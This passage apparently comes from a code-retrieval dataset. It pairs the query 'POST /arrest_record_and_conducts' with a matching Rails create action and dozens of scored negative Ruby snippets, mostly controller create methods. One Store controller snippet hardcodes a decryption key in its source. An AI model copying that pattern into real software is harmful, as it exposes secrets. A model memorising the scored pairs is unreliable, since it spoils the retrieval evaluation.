team_names\n output =[]\n game_hash.each do |location, team_data|\n output.push(team_data[:team_name])\n end\n output\nend", "title": "" }, { "docid": "696d2e00bac4693c7ab1de968f8337d5", "score": "0.57088226", "text": "def team_names\n teams.collect do|key|\n key[:team_name]\n end\nend", "title": "" }, { "docid": "60cb49537799695f34ed805e02371045", "score": "0.57084906", "text": "def display_rainbow(colors)\n if (colors.size > 0) \n puts \"R: #{colors[0]}, O: #{colors[1]}, Y: #{colors[2]}, G: #{colors[3]}, B: #{colors[4]}, I: #{colors[5]}, V: #{colors[6]}\"\n end\nend", "title": "" }, { "docid": "7b876bedb023a52ceebc53bd0bfaa05a", "score": "0.5707232", "text": "def possible_colors\n %w(R G B Y)\n end", "title": "" }, { "docid": "dd79b506280c7867eca09f10ff211ac3", "score": "0.5698449", "text": "def format_teams(team_ids)\n links = []\n team_ids.each do |id|\n url, name = team_url_and_name(id)\n links << \"[#{name}](#{url})\"\n end\n if links.length == 1\n \"the #{links[0]} group\"\n elsif links.length == 2\n \"the #{links[0]} or #{links[1]} groups\"\n else\n \"the #{links[0..-1].join(\", \")} or #{links[-1]} groups\"\n end\n end", "title": "" }, { "docid": "eabbb5a983191c3605fae55578fd747f", "score": "0.5697168", "text": "def team_names\n team_names = []\n game_hash.each do |home_or_away, team_stats|\n team_names << team_stats[:team_name]\n end\n team_names\nend", "title": "" }, { "docid": "19c1613f28c054ba1d97fd5754b5f953", "score": "0.5692739", "text": "def crisis_color\n return text_color(17)\n end", "title": "" }, { "docid": "a80457f9c7117db7434cf8910ffdef9c", "score": "0.56912833", "text": "def matchname\n \"#{self.date}: #{self.hometeam.name} V #{self.awayteam.name}\"\n end", "title": "" }, { "docid": "bf2908470f54983ba5113ba13d27e564", "score": "0.5689628", "text": "def show_teams\n puts(@teams.to_s);\n end", "title": "" }, { "docid": "42db1b7b422a362d02b25a1b64aa40ff", "score": "0.5689412", "text": "def team_names\n team_names = []\n for location in game_hash.keys\n team_names.push(game_hash[location][:team_name])\n end\n return team_names\nend", "title": "" }, { "docid": "21fe63c518b449e12ca67d01e885e321", "score": "0.56817245", "text": "def name_black_player\n type(\"#{'Player for:'.green} #{'black team'.white} #{'- enter your name: '.yellow}\")\n @teams[:black].name = gets.chomp\n end", "title": "" }, { "docid": "7052210e9a521334be00ff5bf7b063a3", "score": "0.5644963", "text": "def named\n [\"\\e[\", foreground_codes[colour], 'm'].join\n end", "title": "" }, { "docid": "75a5f82ac9164ccd7b3d54b5d1cb891a", "score": "0.5642598", "text": "def teams_data\n # selected_team = self.class.all[prompt.to_i-1]\n puts \"\"\n puts \"---------------------------\"\n puts \"Team Name: \" + self.full_name\n puts \"City: \" + self.city\n puts \"Division: \" + self.division\n puts \"Conference: \" + self.conference\n puts \"\"\n puts \"---------------------------\"\n end", "title": "" } ]
19f8a5800d5f1a242c05c13c98a9d420
POST /arrest_record_and_conducts POST /arrest_record_and_conducts.json
[ { "docid": "099461a74fe1242fac8a4886631925be", "score": "0.66214514", "text": "def create\n @arrest_record_and_conduct = ArrestRecordAndConduct.new(params[:arrest_record_and_conduct])\n\n respond_to do |format|\n if @arrest_record_and_conduct.save\n format.html { redirect_to @arrest_record_and_conduct.personal_detail, notice: 'Arrest record and conduct was successfully created.' }\n format.json { render json: @arrest_record_and_conduct, status: :created, location: @arrest_record_and_conduct }\n else\n format.html { render action: \"new\" }\n format.json { render json: @arrest_record_and_conduct.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "793b65befc7196556c8209a6b88d0d68", "score": "0.62451977", "text": "def new\n @arrest_record_and_conduct = ArrestRecordAndConduct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @arrest_record_and_conduct }\n end\n end", "title": "" }, { "docid": "1495e3ed5c757cb916e017ad9a8b6847", "score": "0.5961803", "text": "def create\n @record = Record.new(record_params)\n \n if @record.save\n render json: @record\n else\n render error: {error: \"Unable to create record\"}, status: :400\n end\n end", "title": "" }, { "docid": "7cfeb3929ee7b509d4ca4146598511d8", "score": "0.58558017", "text": "def create\n\n\t\t\t\t\t# attributes\n\t\t\t\t\tbegin\n\t\t\t\t\t\tattrs = jsonapi_received_attributes\n\t\t\t\t\t\tif attrs\n\t\t\t\t\t\t\tif @jsonapi_record\n\t\t\t\t\t\t\t\t# update\n\t\t\t\t\t\t\t\t@jsonapi_record.update! attrs\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t# create\n\t\t\t\t\t\t\t\t@jsonapi_record = jsonapi_model_class.new attrs\n\t\t\t\t\t\t\t\t@jsonapi_record.save!\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\trescue NameError => e\n\t\t\t\t\t\tjsonapi_render_errors 500, \"Model class not found.\"\n\t\t\t\t\t\treturn\n\t\t\t\t\trescue \n\t\t\t\t\t\tjsonapi_render_errors 500, @jsonapi_record.to_jsonapi_errors_hash\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\n\t\t\t\t\t# relationships\n\t\t\t\t\tjsonapi_received_relationships.each do |relationship|\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\t\t# to-one\n\t\t\t\t\t\t\t\tif relationship[:definition][:type] == :to_one\n\t\t\t\t\t\t\t\t\t@jsonapi_record.send :\"#{relationship[:definition][:name]}=\", relationship[:params][:data]\n\t\t\t\t\t\t\t\t\tnext\n\t\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t\t# to-many\n\t\t\t\t\t\t\t\t@jsonapi_record.send(relationship[:definition][:name]).send :clear # initialize the relation\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\trelationship[:params][:data].each do |item|\n\t\t\t\t\t\t\t\t\tobject = relationship[:receiver][:class].find_by_id item[:id]\n\t\t\t\t\t\t\t\t\t@jsonapi_record.send(relationship[:definition][:name]).send :<<, object\n\t\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\trescue \n\t\t\t\t\t\t\t# Should not happen\n\t\t\t\t\t\t\tjsonapi_render_errors 500, \"Relationship could not be created.\"\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tshow\n\t\t\t\tend", "title": "" }, { "docid": "fd306e4b69e059024995cfc94ddb0eac", "score": "0.5853246", "text": "def create\n @record = Record.new(params[:record])\n record_set = RecordSet.find_by_id(params[:record][:record_set_id])\n @record.patient_id = record_set.patient_id\n\n respond_to do |format|\n if @record.save\n format.json { render :json => [ @record.to_jq_record ].to_json }\n format.html { render :json => [ @record.to_jq_record ].to_json }\n else\n format.json { render :json => [ @record.to_jq_record.merge({ :error => \"custom_failure\" }) ].to_json }\n end\n end\n end", "title": "" }, { "docid": "809fbcaf0e4d7be82ad194efd147d6b7", "score": "0.5753357", "text": "def show\n @arrest_record_and_conduct = ArrestRecordAndConduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @arrest_record_and_conduct }\n end\n end", "title": "" }, { "docid": "96f7324867e6b16aef8dc1f2c3f059b5", "score": "0.57370853", "text": "def create\n @care_plan = CarePlan.new(care_plan_params)\n\n if @care_plan.save\n render json: @care_plan, status: :created, location: @care_plan\n else\n render json: @care_plan.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "7747f268c9ffced93460e7121857d277", "score": "0.56921387", "text": "def create\n @record = Umbra::Record.new(record_params)\n\n flash[:notice] = t(\"records.create_success\") if @record.save\n respond_with(@record)\n end", "title": "" }, { "docid": "73f1d54d16920b1f1b6857b6082708f9", "score": "0.567386", "text": "def create\n @operation_record = OperationRecord.new(operation_record_params)\n\n respond_to do |format|\n if @operation_record.save\n format.html { redirect_to @operation_record, notice: 'Operation record was successfully created.' }\n format.json { render :show, status: :created, location: @operation_record }\n else\n format.html { render :new }\n format.json { render json: @operation_record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f575924281c02e16f40f7f3d62a114a", "score": "0.564475", "text": "def create\n record = AssetType.new(params[:record])\n respond_to do |format|\n if record.save \n format.html \n format.json { render json: {} }\n else\n format.html { render action: \"new\" }\n format.json { render json: {} }\n end\n end\n end", "title": "" }, { "docid": "bc2be9a4193aa042883b1c4b3f309c41", "score": "0.5606689", "text": "def create\n @requisition = Requisition.new(requisition_params)\n respond_to do |format|\n if @requisition.save\n # Send to the Business Insight Model\n RestClient::Resource.new(APP_CONFIG[:insight_url], :verify_ssl => false, :user => APP_CONFIG[:insight_username], :password => APP_CONFIG[:insight_password]).post({\n \"modelId\" => \"Resupply_Ky06ggwO\",\n \"measures\" => [{\n \"name\" => \"TotalCost\",\n \"value\" => @requisition.amount\n }],\n \"identifierValue\" => @requisition.id,\n \"correlationValue\" => @requisition.id,\n \"eventTime\" => Time.now.strftime('%Y-%m-%dT%H:%M:%S'),\n \"milestoneId\" => \"RequsitionRaised\",\n \"dimensions\" => [ {\n \"name\" => \"Location\",\n \"value\" => @requisition.loc\n } ]\n }.to_json, :content_type=>'application/json')\n format.html { redirect_to requisitions_url, notice: 'Requisition was successfully created.' }\n format.json { render :show, status: :created, loc: @requisition }\n else\n format.html { render :new }\n format.json { render json: @requisition.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d16fcb0e11e51a57d22e32c4f580f6c3", "score": "0.5577023", "text": "def create\n @record = Record.new(params[:record])\n\n respond_to do |format|\n if @record.save\n format.html { redirect_to @record, :notice => 'Record was successfully created.' }\n format.json { render :json => @record, :status => :created, :location => @record }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @record.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7fd53be9c98f19ab71d24ad10317d756", "score": "0.5564744", "text": "def create_rest\n @entry_instrument = EntryInstrument.new(params[:entry_instrument])\n\n respond_to do |format|\n if @entry_instrument.save\n flash[:notice] = 'EntryInstrument was successfully created.'\n format.html { redirect_to(@entry_instrument) }\n format.xml { render :xml => @entry_instrument, :status => :created, :location => @entry_instrument }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @entry_instrument.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ea5ab1e8f61950b2c3c040d6b1fd0642", "score": "0.5532491", "text": "def create\n @record = Record.new(params[:record])\n\n respond_to do |format|\n if @record.save\n format.html { redirect_to @record, notice: 'Record was successfully created.' }\n format.json { render json: @record, status: :created, location: @record }\n else\n format.html { render action: \"new\" }\n format.json { render json: @record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f631e63c5c06c0377ee678a2e58c3fda", "score": "0.5514004", "text": "def create\n @record = Asset.new(params[:@record])\n respond_to do |format|\n if @record.save\n format.html \n format.json { render json: {} }\n else\n format.html { render action: \"new\" }\n format.json { render json: {} }\n end\n end\n end", "title": "" }, { "docid": "8d930a48d193c2fec1ecfdb7d77a4485", "score": "0.55018705", "text": "def create \n cartoon_ad = CartoonAd.create(cartoon_ad_params)\n render json: cartoon_ad\n end", "title": "" }, { "docid": "154f93f20533e56dd700a06785c7a627", "score": "0.5496475", "text": "def create\n record = Asset.new(params[:record])\n respond_to do |format|\n if record.save\n format.html \n format.json { render json: {} }\n else\n format.html { render action: \"new\" }\n format.json { render json: {} }\n end\n end\n end", "title": "" }, { "docid": "eabbe57d7b805a54f7dd5af231b96d2c", "score": "0.5481776", "text": "def create\n @cerc = Cerc.new(params[:cerc])\n\n if @cerc.save\n render json: @cerc, status: :created, location: @cerc\n else\n render json: @cerc.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "0e42b40977a52bc1abec92843ba1ec4b", "score": "0.547251", "text": "def create\n @record = Record.find(params[:record_id])\n @citation = @record.create_citation(citation_params)\n\n if @citation.save\n render :show, status: :created, location: @citation\n else\n render json: @citation.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "40a5490ddb587df0be88873ae35be4df", "score": "0.54629105", "text": "def create\n # to support array meta from iOS\n if params[:record][:meta].is_a? Array\n params[:record][:meta] = params[:record][:meta].join(\",\")\n end\n\n @record = current_patient.records.new(params[:record])\n\n @record.actual_pill_time_at = Time.zone.parse(params[:record][:actual_pill_time_at])\n\n\n respond_to do |format|\n if @record.save\n if @record.is_android_phone\n @record.swapUVAttribute\n end\n # if Rails.env == 'production'\n # @record.delay.post_processing\n # else\n # @record.post_processing\n # end\n format.json { render json: @record,\n status: :created,\n location: [current_patient, @record] }\n\n format.html { redirect_to [current_patient, @record],\n notice: 'Record was successfully created.' }\n else\n puts @record.errors\n format.json { render json: @record.errors, status: :unprocessable_entity }\n format.html { render action: 'new' }\n end\n end\n end", "title": "" }, { "docid": "1eeabc2371bf48c11f4b7867597c76e3", "score": "0.54605997", "text": "def create\n @rec = Rec.new(rec_params)\n\n respond_to do |format|\n if @rec.save\n format.html { redirect_to @rec, notice: 'Rec was successfully created.' }\n format.json { render :show, status: :created, location: @rec }\n else\n format.html { render :new }\n format.json { render json: @rec.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "41d7e398eab73758f76fdc29d3c9e2c3", "score": "0.54429626", "text": "def create\n authorize! :manage_account, current_account\n @record_category = current_account.record_categories.new(record_category_params)\n params[:record_category][:data].reject! { |x| x['key'].blank? } if params[:record_category][:data]\n @record_category.data = params[:record_category][:data] || Array.new\n if @record_category.save\n add_flash :notice, t('record_category.created')\n end\n if params[:timestamp]\n rec = current_account.records.create(:timestamp => Time.zone.parse(params[:timestamp]), :source_name => 'category creation', :source_id => @record_category.id, :record_category_id => @record_category.id)\n if rec.save\n rec.update_previous\n rec.update_next\n end\n respond_with rec, location: edit_record_path(rec)\n else\n respond_with @record_category\n end\n end", "title": "" }, { "docid": "381244e7ff63050ebd9321aaefe753c1", "score": "0.5442354", "text": "def create\n @record = Record.new(record_params)\n\n respond_to do |format|\n if @record.save\n format.html { redirect_to @record, notice: 'Record was successfully created.' }\n format.json { render :show, status: :created, location: @record }\n else\n format.html { render :new }\n format.json { render json: @record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f8563d8622b7aef0d57fb34226671885", "score": "0.542936", "text": "def create\n @record = Record.new(record_params)\n\n respond_to do |format|\n if @record.save\n format.html { redirect_to @record, notice: 'Record was successfully created.' }\n format.json { render action: 'show', status: :created, location: @record }\n else\n format.html { render action: 'new' }\n format.json { render json: @record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bdefb799797f9b218bf7eea20807f38b", "score": "0.54231584", "text": "def create\n @record = Record.new(params[:record])\n respond_to do |format|\n if @record.save\n\tRecord.set_priority @record.list_id\n\tformat.json { render json: @record, status: :created, location: @record }\n else\n format.json { render json: @record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b1fd518638d1646a2b5b7b00bd726d6e", "score": "0.5417746", "text": "def create\n @resource = Resource.new(resource_params)\n @resource.user_id = current_user.id\n @resource.document.attach(params[:resource][:document])\n @resource.sample.attach(params[:resource][:sample])\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b7c92db2c69d7d6a96894d1b91e84c47", "score": "0.54073316", "text": "def create\n @record = Airtable::Record.new({Name: params[:name], Description: params[:description]})\n @table.create(@record)\n render plain: \"success\"\n end", "title": "" }, { "docid": "052960fe51facf00324809578d327bab", "score": "0.54066354", "text": "def create\n Neo4j::Transaction.run do\n @q_resource = QResource.new(params[:q_resource])\n @q_resource.save!\n respond_to do |format|\n if @q_resource.save\n format.html { redirect_to @q_resource, :notice => 'Q resource was successfully created.' }\n format.json { render :json => @q_resource, :status => :created, :location => @q_resource }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @q_resource.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "e535b20aba81b95740381f09a4a034dc", "score": "0.54025555", "text": "def create\n fail_on_type_mismatch(data_params[:type])\n\n record = queried_record_scope.build\n assign_record_attributes(record, permitted_params_for(:create), data_params)\n\n execute_after_initialize_callbacks(record)\n\n execute_before_create_callbacks(record)\n execute_before_save_callbacks(record)\n\n fail RecordInvalidError.new(record, engaged_field_aliases) if record.errors.any?\n\n record.save!\n\n persist_collection_relationships(record)\n\n execute_after_create_callbacks(record)\n execute_after_save_callbacks(record)\n\n render(\n json: record,\n status: :created,\n fields: query_params[:fields],\n include: query_params[:include]\n )\n end", "title": "" }, { "docid": "5eb5c0e39c60af2419bfa1ce5b90038b", "score": "0.5391968", "text": "def push_new_record(record)\n handle_couch_response do\n RestClient.post(local_couch_database_url, record, content_type: :json)\n end\n end", "title": "" }, { "docid": "9b274a1c349e39c849d7fbe0109b9e0e", "score": "0.5362404", "text": "def create\n @record = record_class.new(record_params)\n\n respond_to do |format|\n if @record.save\n format.html { redirect_to @record, notice: \"#{record_class.model_name.singular.humanize} was successfully created.\" }\n format.json { render :show, status: :created, location: @record }\n else\n format.html { render :new }\n format.json { render json: @record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e9fef4afa118257070c6f48d9d528404", "score": "0.5359224", "text": "def create_region\n Region.create!(params[:record])\n render :json => {}\n end", "title": "" }, { "docid": "818605692109a8ceca002180ba133351", "score": "0.5351926", "text": "def create\n @cloud_resource = CloudResource.new(cloud_resource_params)\n\n respond_to do |format|\n if @cloud_resource.save\n format.html { redirect_to @cloud_resource, notice: 'Cloud resource was successfully created.' }\n format.json { render :show, status: :created, location: @cloud_resource }\n else\n format.html { render :new }\n format.json { render json: @cloud_resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "00e13cfaefe97c4ed90ca4e53accaf81", "score": "0.53493536", "text": "def create\n @resource = Resource.new(params[:resource])\n respond_to do |format|\n if @resource.save\n @resource.eval_description\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render json: @resource, status: :created, location: @resource }\n else\n get_resource_types\n format.html { render action: :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cba1b4928f05d953d6c641e6de959f85", "score": "0.53454965", "text": "def create\n product_name = competitor_params[:title]\n honestbee_datas = get_honestbee_data (product_name)\n predict_catalog = get_predict_catalog ( product_name )\n save_data_in_postgres (predict_catalog)\n render :json => honestbee_datas\n end", "title": "" }, { "docid": "e1970c5f53db6abe74dbdfdb94baf2c0", "score": "0.5344085", "text": "def create\n @restconnection = Restconnection.new(restconnection_params)\n\n respond_to do |format|\n if @restconnection.save\n format.html { redirect_to @restconnection, notice: 'Restconnection was successfully created.' }\n format.json { render :show, status: :created, location: @restconnection }\n else\n format.html { render :new }\n format.json { render json: @restconnection.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4b0b3777fdeea7b8f9bf58d91cbb244b", "score": "0.5335946", "text": "def create\n @repair_record = RepairRecord.new(params[:repair_record])\n\n respond_to do |format|\n if @repair_record.save\n format.html { redirect_to @repair_record, notice: 'Repair record was successfully created.' }\n format.json { render json: @repair_record, status: :created, location: @repair_record }\n else\n format.html { render action: \"new\" }\n format.json { render json: @repair_record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d44947874c0c90490d5acebda1f88bda", "score": "0.5334076", "text": "def create\n @resto = Resto.new(resto_params)\n\n respond_to do |format|\n if @resto.save\n format.html { redirect_to @resto, notice: 'Entry was successfully created.' }\n format.json { render :show, status: :created, location: @resto }\n else\n format.html { render :new }\n format.json { render json: @resto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "46310788b5f68cde4e664b3809e18525", "score": "0.53328586", "text": "def create\n\n # { clinic: {\"license_id\"=>nil, \"name\"=>string } }\n clinic = @license.clinics.new(params[:clinic])\n clinic.api_license = @api_license\n if clinic.save\n render json: clinic, status: :created\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "06845184a495b18d281512e68fc38622", "score": "0.5331204", "text": "def create\n @dco_resource = DcoResource.new(dco_resource_params)\n\n respond_to do |format|\n if @dco_resource.save\n format.html { redirect_to @dco_resource, notice: 'Dco resource was successfully created.' }\n format.json { render action: 'show', status: :created, location: @dco_resource }\n else\n format.html { render action: 'new' }\n format.json { render json: @dco_resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b1725038eca25027fb68bdc21730f73", "score": "0.53277427", "text": "def create\n resource = model_class.new(permitted_resource_params)\n ensure_current_store(resource)\n\n if resource.save\n render_serialized_payload(201) { serialize_resource(resource) }\n else\n render_error_payload(resource.errors)\n end\n end", "title": "" }, { "docid": "1a4bca6097acadf6904f3d08527f1691", "score": "0.53237176", "text": "def create\n unless @rest = Rest.where([\"report_id = ? AND ended_at IS NULL\", params[:report_id]]).first\n @rest = Rest.new(:report_id => params[:report_id],\n :latitude => params[:latitude],\n :longitude => params[:longitude],\n :address => params[:address],\n :started_at => Time.now()\n )\n end\n\n respond_to do |format|\n if @rest.save\n @json = Hash[:rest => {\n :id => @rest.id,\n :report_id => @rest.report_id,\n :latitude => @rest.latitude,\n :longitude => @rest.longitude,\n :address => @rest.address,\n :started_at => @rest.started_at\n }]\n format.json { render json: @json, status: :created, location: @json }\n else\n format.json { render json: {:error => \"Rest creation faild.\"}, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "82975afb544803710f7568d5a4664b34", "score": "0.53026813", "text": "def create\n #TODO we need to look into the need for transactions in mongodb\n #Api::V1::Result.with_session do |session|\n #session.start_transaction\n @results = []\n result_params = params.fetch(:result, {})\n\n result_params.each do |rp|\n permitted_rp = rp.permit(*Api::V1::Result::STRONG_PARAMETERS)\n result = Api::V1::Result.new(permitted_rp)\n result.save!\n\n @results << result\n end\n\n #session.commit_transaction\n #end\n\n render json: @results\n end", "title": "" }, { "docid": "8cd4c027ad3320450219696b822afee8", "score": "0.52949274", "text": "def create\n @recinto = Recinto.new(params[:recinto])\n\n respond_to do |format|\n if @recinto.save\n format.html { redirect_to @recinto, notice: 'Recinto was successfully created.' }\n format.json { render json: @recinto, status: :created, location: @recinto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @recinto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e95fb8397a6f87f6c1c1094f206d308e", "score": "0.5290705", "text": "def create\n @careers = Career.create!(career_params)\n json_response(@careers, :created)\n end", "title": "" }, { "docid": "08edb41e919442ee3abfcc5452d3a1a2", "score": "0.527039", "text": "def create\n @record = Product.new(params[:product])\n @record.save!\n respond_to do |format| \n format.html { head :no_content}\n format.json { render json: {} }\n end\n end", "title": "" }, { "docid": "13b04d39719f2863793f4ba556a8f82a", "score": "0.5268902", "text": "def create\n @dummy_record = DummyRecord.new(params[:dummy_record])\n\n respond_to do |format|\n if @dummy_record.save\n format.html { redirect_to @dummy_record, :notice => 'Dummy record was successfully created.' }\n format.json { render :json => @dummy_record, :status => :created, :location => @dummy_record }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @dummy_record.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6c65efc912eb162134a1ee5052f99900", "score": "0.5265869", "text": "def create\n record = TaxRule.new(params[:record])\n respond_to do |format|\n if record.save\n format.html \n format.json { render json: {} }\n else\n format.html { render action: \"new\" }\n format.json { render json: {} }\n end\n end\n end", "title": "" }, { "docid": "9bdeba1672504fd3bff364e269355393", "score": "0.52579486", "text": "def create\n @store = Store.new(params[:store])\n\n \n\n respond_to do |format|\n if @store.save\n # Create the tibbr resource for the store\n action_typ = \"og:comment\"\n publish_req = {:message=>{:rich_content=>\"New Store !\"}, :action_type=>action_typ, :client_id=> session[:app_id], :resource=>{:app_id => session[:app_id], :key => \"ID_#{@store.id}\", :title => \"#{@store.name}_#{@store.name}\",:description => \"test\", :scope => \"public\", :type => \"ad:store\", :owners => [@current_user.id], :url => \"#{APP_CONFIG[Rails.env]['retail']['root']}#stores/#{@store.country}/#{@store.city}/#{@store.id}\", :action_links => [{:url => \"#{APP_CONFIG[Rails.env]['retail']['root']}#stores/#{@store.country}/#{@store.city}/#{@store.id}\", :label => \"View\", :display_target => \"app\"}] }}.to_json;\n\n #encryptor = Encryptor.new(application_config_decrypt_key, \"\")\n encryptor = Encryptor.new(\"947aafe0-e8b1-11e2-9fa4-a4199b34c982\", \"\")\n signed_hash_string = encryptor.encrypt(publish_req)\n\n # Tibbr::ExternalResourceAction.publish ({:client_id=> session[:app_id], :signed_hash=> publish_req})\n \n Tibbr::ExternalResourceAction.publish ({:client_id=> session[:app_id], :signed_hash=> signed_hash_string})\n \n tib_res = Tibbr::ExternalResource.find_by_resource_key({:resource => {:key => \"ID_#{@store.id}\", :resource_type => \"ad:store\"}, :client_id => session[:app_id]})\n \n @store.tibbr_id = tib_res.id\n @store.tibbr_key = \"ID_#{@store.id}\"\n\n \n @store.save\n format.html { redirect_to @store, notice: 'Store was successfully created.' }\n format.json { render json: @store, status: :created, location: @store }\n else\n format.html { render action: \"new\" }\n format.json { render json: @store.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cabf58ca67d184453db255b05db48739", "score": "0.52558964", "text": "def create\n @rechargeable_record = RechargeableRecord.new(rechargeable_record_params)\n\n respond_to do |format|\n if @rechargeable_record.save\n format.html { redirect_to @rechargeable_record, notice: 'Rechargeable record was successfully created.' }\n format.json { render :show, status: :created, location: @rechargeable_record }\n else\n format.html { render :new }\n format.json { render json: @rechargeable_record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cb9e9a9a5512fb86c2b403aed0458d3e", "score": "0.52478856", "text": "def create\n @compliance_record = ComplianceRecord.new(compliance_record_params)\n if @compliance_record.save\n @compliance_record = ComplianceRecord.new\n @compliance_records = ComplianceRecord.all\n @flag = true\n else\n @flag = false\n end\n end", "title": "" }, { "docid": "5994a6dec15657b513b9f3527d35c052", "score": "0.52464855", "text": "def create\n @complaint = Complaint.new(complaint_params)\n @complaint.customer_id = current_user.customer_id\n @complaint.region_id = current_user.customer.region_id\n\n if @complaint.save\n render json: @complaint, status: :created, location: api_v1_complaint_url(@complaint)\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "0d317c34c8cc62010d409f8eed8b5b9d", "score": "0.5240293", "text": "def create\n @service_record = ServiceRecord.new(service_record_params)\n\n respond_to do |format|\n if @service_record.save\n format.json { render json: @service_record, serializer: ServiceRecordSerializer }\n else\n format.json { render json: @service_record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a4fccd3ab7f2fa75c496339e8a9ea7f5", "score": "0.52378315", "text": "def json_create(resource_params, resource_model)\n resource_obj = resource_model.new(resource_params)\n if resource_obj.save\n return render json: resource_obj, status: :ok\n else\n return render json: resource_obj.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "54a474c5a527f8ffa88c93b3e2f54015", "score": "0.52369815", "text": "def create\n\t\treview = Review.create(:user_id=>params[:review][:user_id], :note_id=>params[:review][:note_id], :status=>params[:review][:status])\n\t\treview.save!\n\n render json: []\n\tend", "title": "" }, { "docid": "abeb9d00b379f3d70a222ef3a5402e03", "score": "0.5229017", "text": "def create\n original_content = JSON.parse request.body.read\n if original_content.key? ('source') and (original_content['source'] == 'GeneTalk' or original_content['source'] == 'Phenobot')\n content = JSON.parse Patient.convert(original_content)\n else\n content = original_content\n end\n patient_id = content['case_data']['case_id']\n time = Time.now.strftime('%d_%m_%Y_%H_%M_%S')\n log_dir = File.join(API_LOG, patient_id.to_s)\n unless File.directory?(log_dir)\n FileUtils.mkdir_p(log_dir)\n end\n log_path = File.join(log_dir, time + '.log')\n logger = Logger.new(log_path)\n logger.info 'Receive patient data'\n\n # Log the raw JSON data\n original_f = File.join(log_dir, time + '.json')\n File.open(original_f, \"wb\") { |f| f.write(JSON.pretty_generate(original_content)) }\n\n # if a case doesnt exist, process the request and create a new case\n patient_save = true\n msg = {}\n begin\n ActiveRecord::Base.transaction do\n consumer_id = get_consumer_id()\n lab = Patient.parse_lab(content, consumer_id)\n patient = Patient.find_by(case_id: patient_id, lab_id: lab.id)\n if patient.nil?\n patient = Patient.create_patient(content, consumer_id)\n msg = { msg: MSG_CASE_CREATED }\n else\n # Check if there is pedia service running to avoid\n # overwriting the data\n p_services = patient.pedia_services\n unless p_services.empty?\n p_service = p_services.last\n p_status = p_service.pedia_status\n if p_status.workflow_running?\n msg = { msg: MSG_PEDIA_RUNNING_TRY_LATER }\n respond_to do |format|\n format.json { render plain: msg.to_json,\n status: 400,\n content_type: 'application/json'\n }\n end\n return\n end\n end\n\n # Update patient data\n patient.update_json(content['case_data'])\n msg = { msg: MSG_CASE_UPDATE }\n end\n\n dirname = File.join(\"Data\", \"Received_JsonFiles\", lab.id.to_s)\n dir = \"#{Rails.root}/#{dirname}\"\n FileUtils.mkdir(dir) unless File.directory?(dir)\n\n f = \"#{dir}/#{patient_id}.json\"\n File.open(f, \"wb\") { |f| f.write(JSON.pretty_generate(content)) }\n end\n rescue Exception => e\n logger = Logger.new(log_path)\n logger.error e.message\n e.backtrace.each { |line| logger.error line }\n patient_save = false\n msg = { msg: MSG_CASE_ERROR }\n end\n\n respond_to do |format|\n if patient_save\n format.json { render plain: msg.to_json,\n status: 200,\n content_type: 'application/json'\n }\n else\n msg = { msg: MSG_CASE_ERROR }\n format.json { render plain: msg.to_json,\n status: 400,\n content_type: 'application/json'\n }\n end\n end\n end", "title": "" }, { "docid": "af3ff5d07be7811e90e4f318c5e7ad6d", "score": "0.5227629", "text": "def create\n @resource = 